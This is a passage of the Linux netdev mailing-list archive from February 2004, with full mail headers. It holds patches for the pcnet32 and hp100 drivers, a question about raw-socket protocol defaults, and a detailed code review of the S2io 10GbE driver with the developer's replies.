DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1P11EZN105712; Tue, 24 Feb 2004 20:01:14 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1P0xoH20496; Tue, 24 Feb 2004 16:59:50 -0800 From: Don Fry Message-Id: <200402250059.i1P0xoH20496@DYN318364BLD.beaverton.ibm.com> Subject: [patch 2.6.3] pcnet32 non-mii link state fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Tue, 24 Feb 2004 16:59:49 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3558 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch correctly returns the link state of an adapter which does not have an MII. Tested by myself and the patch author Thomas Munck Steenholdt . --- linux-2.6.3/drivers/net/pcnet32.c Tue Feb 24 16:39:18 2004 +++ linux-2.6.3/drivers/net/tomorrow.pcnet32.c Tue Feb 24 16:41:49 2004 @@ -526,13 +526,17 @@ { struct pcnet32_private *lp = dev->priv; unsigned long flags; - int r = 1; + int r; + spin_lock_irqsave(&lp->lock, flags); if (lp->mii) { - spin_lock_irqsave(&lp->lock, flags); r = mii_link_ok(&lp->mii_if); - spin_unlock_irqrestore(&lp->lock, flags); + } else { + ulong ioaddr = dev->base_addr; /* card base I/O address */ + r = (lp->a.read_bcr(ioaddr, 4) != 0xc0); } + spin_unlock_irqrestore(&lp->lock, flags); + return r; } -- Don Fry brazilnut@us.ibm.com From jgarzik@pobox.com Tue Feb 24 17:01:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 17:01:46 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P11gKO004717 for ; Tue, 24 Feb 2004 17:01:42 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33462 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AvnQj-0000OK-1W; Wed, 25 Feb 2004 01:01:41 +0000 Message-ID: <403BF3E9.3090506@pobox.com> Date: Tue, 24 Feb 2004 20:01:29 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stefan Rompf CC: netdev@oss.sgi.com Subject: Re: Patch: netif_carrier_on()/off() for xircom_tulip_cb References: <200402151504.22648.srompf@isg.de> <4033FAF6.2090200@pobox.com> <200402201721.24047.srompf@isg.de> In-Reply-To: <200402201721.24047.srompf@isg.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3559 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied both patches From jgarzik@pobox.com Tue Feb 24 17:02:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 17:02:04 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P11xKO004941 for ; Tue, 24 Feb 2004 17:02:00 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33464 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AvnR1-0000OX-0t; Wed, 25 Feb 2004 01:01:59 +0000 Message-ID: <403BF3FB.8030502@pobox.com> Date: Tue, 24 Feb 2004 20:01:47 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: Paul Gortmaker , netdev@oss.sgi.com Subject: Re: [PATCH 2.6.1] Allow pcnet_cs to work with shared irq References: <20040120162251.291a0e39.shemminger@osdl.org> <403405EE.4020503@pobox.com> <20040219103042.7ad1e4e1@dell_ss3.pdx.osdl.net> In-Reply-To: <20040219103042.7ad1e4e1@dell_ss3.pdx.osdl.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3560 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Stephen Hemminger wrote: > Here is a rediff'd version of the patch to fix shared irq handling in pcnet_cs > and generic 8390 drivers. applied From brazilnut@us.ibm.com Tue Feb 24 17:03:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 17:03:41 -0800 (PST) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P13bKO005610 for ; Tue, 24 Feb 2004 17:03:38 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e5.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1P13UJr670838; Tue, 24 Feb 2004 20:03:30 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1P13SF7126524; Tue, 24 Feb 2004 20:03:28 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1P12Ak20519; Tue, 24 Feb 2004 17:02:10 -0800 From: Don Fry Message-Id: <200402250102.i1P12Ak20519@DYN318364BLD.beaverton.ibm.com> Subject: [patch 2.6.3] pcnet32 non-mii link state fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Tue, 24 Feb 2004 17:02:10 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3561 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev s patch correctly returns the link state of an adapter which does not have an MII. Tested by myself and the patch author Thomas Munck Steenholdt . (This version has the correct file name) --- linux-2.6.3/drivers/net/x.pcnet32.c Tue Feb 24 16:39:18 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Tue Feb 24 16:41:49 2004 @@ -526,13 +526,17 @@ { struct pcnet32_private *lp = dev->priv; unsigned long flags; - int r = 1; + int r; + spin_lock_irqsave(&lp->lock, flags); if (lp->mii) { - spin_lock_irqsave(&lp->lock, flags); r = mii_link_ok(&lp->mii_if); - spin_unlock_irqrestore(&lp->lock, flags); + } else { + ulong ioaddr = dev->base_addr; /* card base I/O address */ + r = (lp->a.read_bcr(ioaddr, 4) != 0xc0); } + spin_unlock_irqrestore(&lp->lock, flags); + return r; } -- Don Fry brazilnut@us.ibm.com From shemminger@osdl.org Tue Feb 24 17:07:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 17:07:13 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P177KO006082 for ; Tue, 24 Feb 2004 17:07:09 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1P170E12564; Tue, 24 Feb 2004 17:07:00 -0800 Date: Tue, 24 Feb 2004 17:07:00 -0800 From: Stephen Hemminger To: Cacophonix Cc: netdev@oss.sgi.com Subject: Re: [PATCH] hp100 -- fixes for new probing. Message-Id: <20040224170700.11adc3cc@dell_ss3.pdx.osdl.net> In-Reply-To: <20040224233602.36835.qmail@web14004.mail.yahoo.com> References: <20040223094925.344bc73d@dell_ss3.pdx.osdl.net> <20040224233602.36835.qmail@web14004.mail.yahoo.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3562 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Does fix the problem? it checks for card before proceeding in hp100_isa_probe diff -Nru a/drivers/net/hp100.c b/drivers/net/hp100.c --- a/drivers/net/hp100.c Tue Feb 24 17:05:54 2004 +++ b/drivers/net/hp100.c Tue Feb 24 17:05:54 2004 @@ -333,6 +333,11 @@ if (!request_region(addr, HP100_REGION_SIZE, "hp100")) goto err; + + if (hp100_inw(HW_ID) != HP100_HW_ID_CASCADE) { + release_region(addr, HP100_REGION_SIZE); + goto err; + } sig = hp100_read_id(addr); release_region(addr, HP100_REGION_SIZE); From ianw@cse.unsw.edu.au Tue Feb 24 19:59:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 19:59:48 -0800 (PST) Received: from note.orchestra.cse.unsw.EDU.AU (root@note.orchestra.cse.unsw.EDU.AU [129.94.242.24]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P3xaKO010103 for ; Tue, 24 Feb 2004 19:59:37 -0800 Received: From wagner (for netdev@oss.sgi.com) With LocalMail ; Wed, 25 Feb 2004 14:59:34 +1100 From: Ian Wienand To: netdev@oss.sgi.com Date: Wed, 25 Feb 2004 14:59:34 +1100 Subject: Default protocol for raw sockets Message-ID: <20040225035934.GK1200@cse.unsw.EDU.AU> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ai3I8gwHc37+ASRI" Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 3563 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ianw@gelato.unsw.edu.au Precedence: bulk X-list: netdev --ai3I8gwHc37+ASRI Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, man 7 packet states sll_protocol is the standard ethernet protocol type in network order as defined in the linux/if_ether.h include file. It defaults to the socket's protocol. But then later on says For bind only sll_protocol and sll_ifindex are used. I'm unsure as to which is the expected behavour. stracing the sample program below shows that it does not pick up the protocol from the socket. (bind() also needs the sll_family filled in else it will fail with an invalid argument). I don't have a heap of experience with this; should bind pick up the protocol from the socket or should the manpage be clarified? -i ianw@gelato.unsw.edu.au http://www.gelato.unsw.edu.au --- sample program --- strace shows socket(PF_PACKET, SOCK_RAW, 2144) = 3 bind(3, {sa_family=AF_PACKET, proto=0000, if0, ... ^^^^ #include #include #include int main(void) { struct sockaddr_ll sa; int s = socket(AF_PACKET, SOCK_RAW, htons(0x6008)); bzero(&sa, sizeof(struct sockaddr_ll)); sa.sll_family = AF_PACKET; sa.sll_ifindex = 0; bind(s, (struct sockaddr *)&sa, sizeof(struct sockaddr_ll)); close(s); return 0; } --ai3I8gwHc37+ASRI Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAPB2mWDlSU/gp6ecRAhIBAJ4wSDfwfkxdgmQHtebqWu83OecMLQCeL+1X OHf27s29R2bNzIVYbZuCGic= =p4qK -----END PGP SIGNATURE----- --ai3I8gwHc37+ASRI-- From raghavendra.koushik@wipro.com Tue Feb 24 22:04:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 22:04:20 -0800 (PST) Received: from wiproecmx1.wipro.com (wiproecmx1.wipro.com [164.164.31.5]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P643KO015135 for ; Tue, 24 Feb 2004 22:04:05 -0800 Received: from ec-vwall-wd (ec-vwall-wd.wipro.com [10.200.52.125]) by wiproecmx1.wipro.com (8.12.9-20031013/8.12.9) with SMTP id i1P63sKk029802 for ; Wed, 25 Feb 2004 11:33:55 +0530 (IST) Received: from blr-ec-bh2.wipro.com ([10.200.50.92]) by ec-vwall-wd with InterScan Messaging Security Suite; Wed, 25 Feb 2004 11:34:58 +0530 Received: from blr-m3-msg.wipro.com ([10.114.50.99]) by blr-ec-bh2.wipro.com with Microsoft SMTPSVC(5.0.2195.6713); Wed, 25 Feb 2004 11:33:54 +0530 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: Submission for S2io 10GbE driver Date: Wed, 25 Feb 2004 11:33:53 +0530 Message-ID: <4223A04BF7D1B941A25246ADD0462FF50115A824@blr-m3-msg.wipro.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Submission for S2io 10GbE driver Thread-Index: AcP07XFvxnooOIW5TSGEM7qnWY9DIAGcXBRg From: To: , Cc: , , X-OriginalArrivalTime: 25 Feb 2004 06:03:54.0366 (UTC) FILETIME=[25F619E0:01C3FB65] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1P643KO015135 X-archive-position: 3564 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: raghavendra.koushik@wipro.com Precedence: bulk X-list: netdev Jeff, some questions on few of your comments. >>30) do not call netif_stop_queue() and netif_wake_queue() on link >>events, in s2io_link. Simply call netif_carrier_{on,off}. When link goes down and I just call netif_carrier_off the upper layer still continues to send packets to the s2io_xmit routine. In order to avoid this, I stop the queue and a corresponding wake when link returns. Is there any particular reason why this should be avoided? >>28) are you aware that all of s2io_tx_watchdog is inside the >>dev->tx_lock spinlock? I am concern s2io_tx_watchdog execution time may >>be quite excessive a duration to hold a spinlock. Actually no. The intention is to reset the NIC and re-initialize it in the tx_watchdog function and I'am not sure how else to do this. Do you foresee a problem with the current method, because for most part of the function the queue would be in a stopped state (the netif_stop_queue is called right on top of s2io_close and the queue is woken up at almost the end of s2io_open). >>29) never call netif_wake_queue() unconditionally. only call it if you >>are 100% certain that the net stack is allowed to add another packet to >>your hardware's TX queue(s). I wake the queue in txIntrHandler without checking anything because at this point I'am certain that some free transmit descriptors are available for new xmit. The tx Interrupt arrives only after one or more Tx descriptor and buffer were successfully DMA'ed to the NIC and the ownership of these descriptor(s) is returned to the host. Regards Koushik -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: Tuesday, February 17, 2004 5:59 AM To: Leonid Grossman Cc: netdev@oss.sgi.com; raghavendra.koushik@s2io.com; 'ravinandan arakali' Subject: Re: Submission for S2io 10GbE driver Comments: 1) use ULL suffix on u64 constants. static u64 round_robin_reg0 = 0x0001020304000105; static u64 round_robin_reg1 = 0x0200030106000204; static u64 round_robin_reg2 = 0x0103000502010007; static u64 round_robin_reg3 = 0x0304010002060500; static u64 round_robin_reg4 = 0x0103020400000000; 2) you'll want to (unfortunately) add #ifdefs around the PCI_xxx_ID constants, because a full submission to the kernel includes a patch to include/linux/pci_ids.h. /* VENDOR and DEVICE ID of XENA. */ #define PCI_VENDOR_ID_S2IO 0x17D5 #define PCI_DEVICE_ID_S2IO_WIN 0x5731 #define PCI_DEVICE_ID_S2IO_UNI 0x5831 3) AS_A_MODULE is incorrect. /* Load driver as a module */ #define AS_A_MODULE First, it is defined unconditionally. Second, it should not even exist. The kernel module API is intentionally designed such that the source code functions whether a kernel module or built into vmlinux, without #ifdefs. So, simply remove the ifdefs. As a general rule, Linux kernel source code tries to be as free of ifdefs as possible. 4) You will of course need to change CONFIGURE_ETHTOOL_SUPPORT, CONFIGURE_NAPI_SUPPORT to Kconfig-generate CONFIG_xxx defines, when submitting. 5) again, follow the kernel's no-ifdef philosophy: #ifdef KERN_26 static irqreturn_t s2io_isr(int irq, void *dev_id, struct pt_regs *regs); #else void s2io_isr(int irq, void *dev_id, struct pt_regs *regs); #endif /** KERN_26 **/ The "irqreturn_t" type was designed specifically to work without #ifdefs in earlier kernels. Here is the proper compatibility code, taken from release kernel 2.4.25's include/linux/interrupt.h: /* For 2.6.x compatibility */ typedef void irqreturn_t; #define IRQ_NONE #define IRQ_HANDLED #define IRQ_RETVAL(x) I hope you notice a key philosophy emerging ;-) You want to write a no-ifdef driver for 2.6, and then use the C pre-processor, typedefs, and other tricks to make the driver work on earlier kernels with as little modification as possible. Look at http://sf.net/projects/gkernel/ module "kcompat" for an example of a toolkit which allows you to write a current driver, and then use it on older kernels. 6) delete, not needed #ifdef UNDEFINED suspend:NULL, resume:NULL, #endif 7) memory leak on error /* Allocating all the Rx blocks */ for (j = 0; j < blk_cnt; j++) { size = (MAX_RXDS_PER_BLOCK + 1) * (sizeof(RxD_t)); tmp_v_addr = pci_alloc_consistent(nic->pdev, size, &tmp_p_addr); if (tmp_v_addr == NULL) { return -ENOMEM; } memset(tmp_v_addr, 0, size); 8) memory leak on error /* Allocation and initialization of Statistics block */ size = sizeof(StatInfo_t); mac_control->stats_mem = pci_alloc_consistent (nic->pdev, size, &mac_control->stats_mem_phy); if (!mac_control->stats_mem) { return -ENOMEM; } 9) if you store a pointer for your shared memory, it is wasteful to store an -additional- flag indicating this memory has been allocated. simply check for NULL. if (nic->_fResource & TXD_ALLOCED) { nic->_fResource &= ~TXD_ALLOCED; pci_free_consistent(nic->pdev, mac_control->txd_list_mem_sz, 10) ULL suffix write64(&bar0->swapper_ctrl, 0xffffffffffffffff); val64 = (SWAPPER_CTRL_PIF_R_FE | 11) ditto this for other 64-bit constants 12) never mdelay() for this long. Either create a timer, or make sure you're in process constant and sleep via schedule_timeout(). /* Remove XGXS from reset state*/ val64 = 0; write64(&bar0->sw_reset, val64); mdelay(500); 13) memory writes without memory reads following them are often the victims of PCI write posting bugs. At the very least, this driver appears to have many PCI write posting issues. write64(&bar0->dtx_control, 0x8000051500000000); udelay(50); write64(&bar0->dtx_control, 0x80000515000000E0); udelay(50); write64(&bar0->dtx_control, 0x80000515D93500E4); udelay(50); write64(&bar0->dtx_control, 0x8001051500000000); udelay(50); write64(&bar0->dtx_control, 0x80010515000000E0); udelay(50); write64(&bar0->dtx_control, 0x80010515001E00E4); udelay(50); You are not guaranteed that the write will have completed, by the end of each udelay(), unless you first issue a PCI read of some sort. 14) another mdelay(500) loop to be fixed /* Wait for the operation to complete */ time = 0; while (TRUE) { val64 = read64(&bar0->rti_command_mem); if (!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) { break; } if (time > 50) { DBG_PRINT(ERR_DBG, "%s: RTI init Failed\n", dev->name); return -1; } time++; mdelay(10); 15) you obviously mean TASK_UNINTERRUPTIBLE here: /* Enabling MC-RLDRAM */ val64 = read64(&bar0->mc_rldram_mrs); val64 |= MC_RLDRAM_QUEUE_SIZE_ENABLE | MC_RLDRAM_MRS_ENABLE; write64(&bar0->mc_rldram_mrs, val64); set_current_state(TASK_INTERRUPTIBLE); schedule_timeout(HZ / 10); 16) get this from struct pci_dev, not directly from the PCI bus: /* SXE-002: Initialize link and activity LED */ ret = pci_read_config_word(nic->pdev, PCI_SUBSYSTEM_ID, (u16 *) & subid); 17) question: do you not support more advanced checksum offload? like ipv6 or "hey I put the packet checksum " 18) waitForCmdComplete can mdelay() an unacceptably long time 19) ditto s2io_reset. 20) your driver has its spinlocks backwards! Your interrupt handler uses spin_lock_irqsave(), and your non-interrupt handling code uses spin_lock(). That's backwards from correct. 21) s2io_close could mdelay() for unacceptably long time. Fortunately, you -can- sleep here, so just replace with schedule_timeout() calls. 22) remove the commented-out MOD_{INC,DEC}_USE_COUNT. 23) your tx_lock spinlock is completely unused. oops. :) the spinlock covers two areas of code, both of which are mutually exclusive. Given this and #20... you might want to make sure to build and test on SMP. Even SMP kernels on uniprocessor hardware helps find spinlock deadlocks. 24) your tx_lock does not cover the interrupt handler code. I presume this is an oversight? 25) delete s2io_set_mac_addr. It's not needed. It is preferred to use the default eth_mac_addr. Follow this procedure, usually: a) During probe, obtain MAC address from "original source", usually EEPROM / SROM. b) Each time dev->open() is called, write MAC address to h/w. 26) check and make sure you initialize your link to off (netif_carrier_off(dev)), in your dev->open() function. In the background, your phy state machine should call netif_carrier_on() once it is certain link has been established. this _must_ be an asynchronous process. You may not sleep and wait for link, in dev->open(). 27) for current 2.4 and 2.6 kernels, please use struct ethtool_ops rather than a large C switch statement. 28) are you aware that all of s2io_tx_watchdog is inside the dev->tx_lock spinlock? I am concern s2io_tx_watchdog execution time may be quite excessive a duration to hold a spinlock. 29) never call netif_wake_queue() unconditionally. only call it if you are 100% certain that the net stack is allowed to add another packet to your hardware's TX queue(s). 30) do not call netif_stop_queue() and netif_wake_queue() on link events, in s2io_link. Simply call netif_carrier_{on,off}. 31) ULL suffix } else if (!pci_set_dma_mask(pdev, 0xffffffff)) { 32) missing call to pci_disable_device() on error: if (pci_set_consistent_dma_mask (pdev, 0xffffffffffffffffULL)) { DBG_PRINT(ERR_DBG, "Unable to obtain 64bit DMA for \ consistent allocations\n"); return -ENOMEM; 33) if you use CHECKSUM_UNNECESSARY, you should be using the less-capable NETIF_F_IP_CSUM. dev->features |= NETIF_F_SG | NETIF_F_HW_CSUM; NETIF_F_HW_CSUM requires the actual checksum value. From davem@redhat.com Wed Feb 25 00:18:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 00:18:26 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P8IDKO018153 for ; Wed, 25 Feb 2004 00:18:13 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1P8IAb21675; Wed, 25 Feb 2004 03:18:10 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1P8IAi21999; Wed, 25 Feb 2004 03:18:10 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1P8I7eF014989; Wed, 25 Feb 2004 03:18:07 -0500 Date: Wed, 25 Feb 2004 00:18:09 -0800 From: "David S. Miller" To: Michal Ludvig Cc: netdev@oss.sgi.com Subject: Re: [PATCH] XFRM policy expire Message-Id: <20040225001809.7d27dd8d.davem@redhat.com> In-Reply-To: <403B14DA.3000700@suse.cz> References: <403B14DA.3000700@suse.cz> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3565 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 24 Feb 2004 10:09:46 +0100 Michal Ludvig wrote: > the attached patch fixes a bug in xfrm_send_policy_notify(). The space > allocated in skb must include 'sizeof(struct xfrm_user_polexpire)', not > 'sizeof(struct xfrm_userpolicy_info)' which is shorter. On ia32 it > worked, probably because of some space gained from aligning. > Unfortunately on amd64 it didn't and finally led to BUG() & kernel hangup. Applied, thanks Michal. > BTW The second patch attached does some obvious cleanup: replaces > RTA_ALIGN(RTA_LENGTH(x)) with RTA_SPACE(x) and ditto for NLMSG_*() > macros. Apply on top of the first one or drop it. It's up to you. This is fine too, also applied. Thanks again. From davem@redhat.com Wed Feb 25 00:23:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 00:23:53 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P8NfKO021432 for ; Wed, 25 Feb 2004 00:23:42 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1P8NTb22821; Wed, 25 Feb 2004 03:23:29 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1P8NTi22946; Wed, 25 Feb 2004 03:23:29 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1P8NQeF016556; Wed, 25 Feb 2004 03:23:26 -0500 Date: Wed, 25 Feb 2004 00:23:28 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, rddunlap@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] horizon: make reset function not __init Message-Id: <20040225002328.26f12500.davem@redhat.com> In-Reply-To: <200402240119.i1O1JCg5028269@ginger.cmf.nrl.navy.mil> References: <20040219154941.0d0f5a7a.rddunlap@osdl.org> <200402240119.i1O1JCg5028269@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3566 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 20:19:13 -0500 "chas williams (contractor)" wrote: > please apply to 2.6. --thanks ... > # [ATM]: horizon: make reset function not __init (from Randy Dunlap ) Applied, thanks. From davem@redhat.com Wed Feb 25 00:24:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 00:24:29 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P8OHKO021654 for ; Wed, 25 Feb 2004 00:24:17 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1P8OAb22928; Wed, 25 Feb 2004 03:24:10 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1P8OAi23029; Wed, 25 Feb 2004 03:24:10 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1P8O7eF016772; Wed, 25 Feb 2004 03:24:07 -0500 Date: Wed, 25 Feb 2004 00:24:09 -0800 From: "David S. Miller" To: "chas williams (contractor)" Cc: romieu@fr.zoreil.com, netdev@oss.sgi.com Subject: Re: [ATM]: use clip_tbl instead of clp_tbl_hook (from Francois Romieu ) Message-Id: <20040225002409.01dfcb88.davem@redhat.com> In-Reply-To: <200402240122.i1O1M8g5028294@ginger.cmf.nrl.navy.mil> References: <20040206231309.A26646@electric-eye.fr.zoreil.com> <200402240122.i1O1M8g5028294@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3567 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 23 Feb 2004 20:22:09 -0500 "chas williams (contractor)" wrote: > please apply to 2.6 --thanks ... > # [ATM]: use clip_tbl instead of clp_tbl_hook (from Francois Romieu ) Applied, thanks. From felipe_alfaro@linuxmail.org Wed Feb 25 04:59:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 04:59:11 -0800 (PST) Received: from kerberos.felipe-alfaro.com (153.Red-213-4-13.pooles.rima-tde.net [213.4.13.153]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PCwfKO016387 for ; Wed, 25 Feb 2004 04:58:52 -0800 Received: from [192.168.0.100] 